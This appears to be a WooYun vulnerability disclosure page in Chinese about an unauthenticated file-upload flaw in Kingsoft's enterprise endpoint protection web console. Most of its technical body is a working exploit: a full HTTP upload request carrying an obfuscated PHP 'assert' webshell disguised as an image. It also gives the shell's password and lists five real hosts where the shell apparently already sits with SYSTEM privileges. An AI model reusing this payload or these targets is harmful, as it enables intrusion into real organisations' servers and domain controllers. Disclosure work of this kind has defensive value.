当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085148

漏洞标题：金山企业终端防护优化系统配置不当导致web端直接拿shell 秒杀全部版本

相关厂商：金山毒霸

漏洞作者： 黑名单

提交时间：2014-11-28 23:30

修复时间：2015-01-04 23:32

公开时间：2015-01-04 23:32

漏洞类型：默认配置不当

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-28： 细节已通知厂商并且等待厂商处理中
2014-12-03： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-27： 细节向核心白帽子及相关领域专家公开
2015-02-06： 细节向普通白帽子公开
2015-02-16： 细节向实习白帽子公开
2015-01-04： 细节向公众公开

简要描述：

金山企业终端防护优化系统配置不当 导致web端直接拿shell 这个应该是通用 影响的都是大企业 而且全部能进域控制 大家都懂的 作为一个为企业服务的终端防护 按道理不应该出现这种低级错误
这种属于通用吧

详细说明：

金山企业终端防护优化系统配置不当 导致web端直接拿shell 这个应该是通用 影响的都是大企业 而且全部能进域控制 大家都懂的

$NQFC9)FEIET1~)EXL@C$1B.jpg


秒杀全部版本
你没看错 不要任何密码 只要安装了这个程序 直接秒杀
权限全部为 system
这是真的 这不是梦 一步两步......

漏洞证明：

6VJHAB7Q7X~GYHECB6OY{{3.jpg


XP`$4UP3P~~DCVY0_6TV{5C.jpg

只需要修改burp的host地址 地址为安装这个程序的web端地址 直接秒杀

POST /tools/manage/save_tools.php HTTP/1.1
Host: 127.0.0.1 （修改这地址）
Proxy-Connection: keep-alive
Content-Length: 1268
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1/ （修改这地址）
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEJXH1fwCho42vwKj
Referer: http://127.0.0.1/tools/manage/online_tools_manage.php?li=6&a=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=rjru5fik8n930ghdoosk7gqa71; scName=DMZ-wsus(2); GUID=C8DDCDA9-85A4-41BB-9468-A18686AB9F15; SCIP=221.10.92.11; topSC=1; popedom=2222222222; kidtype=6966; hid=B4490BC4; sn=106000-011007-045265-561842; C8DDCDA9-85A4-41BB-9468-A18686AB9F15admin=%7B%22btype%22%3A%221%22%2C%22rtype%22%3A%220%22%2C%22gids%22%3A%5B%221%22%5D%2C%22ttype%22%3A%224%22%2C%22stime%22%3A%220%22%2C%22etime%22%3A%220%22%2C%22stext%22%3A%22%22%7D; SCNum=2
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ksuploadtools
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImage"; filename="2.php"
Content-Type: image/jpeg
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImageType"
1
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFileName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFile"; filename="1.exe"
Content-Type: application/x-msdownload
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolDescri"
123123
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOS"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOSStr"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj--


地址为 http://127.0.0.1/tools/imgs/2.php 一句话密码 -7
经过测试全部为 system 权限
system 权限你懂的 直接进服务器吧
而且安装这个的 都是大企业 你懂？
找到几个案例
http://neimenggu.swmc.org.cn/tools/imgs/2.php
http://203.175.146.251/tools/imgs/2.php
http://60.190.151.150/tools/imgs/2.php
http://oa.baicsv.com/tools/imgs/2.php
http://av.caep.ac.cn/tools/imgs/2.php
一句话密码都是 -7
提供5个案例 够了吧
麻烦审核完毕 把几个地址隐藏下 感谢

修复方案：

你比我懂

版权声明：转载请注明来源 黑名单@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-04 23:32

厂商回复：

最新状态：

暂无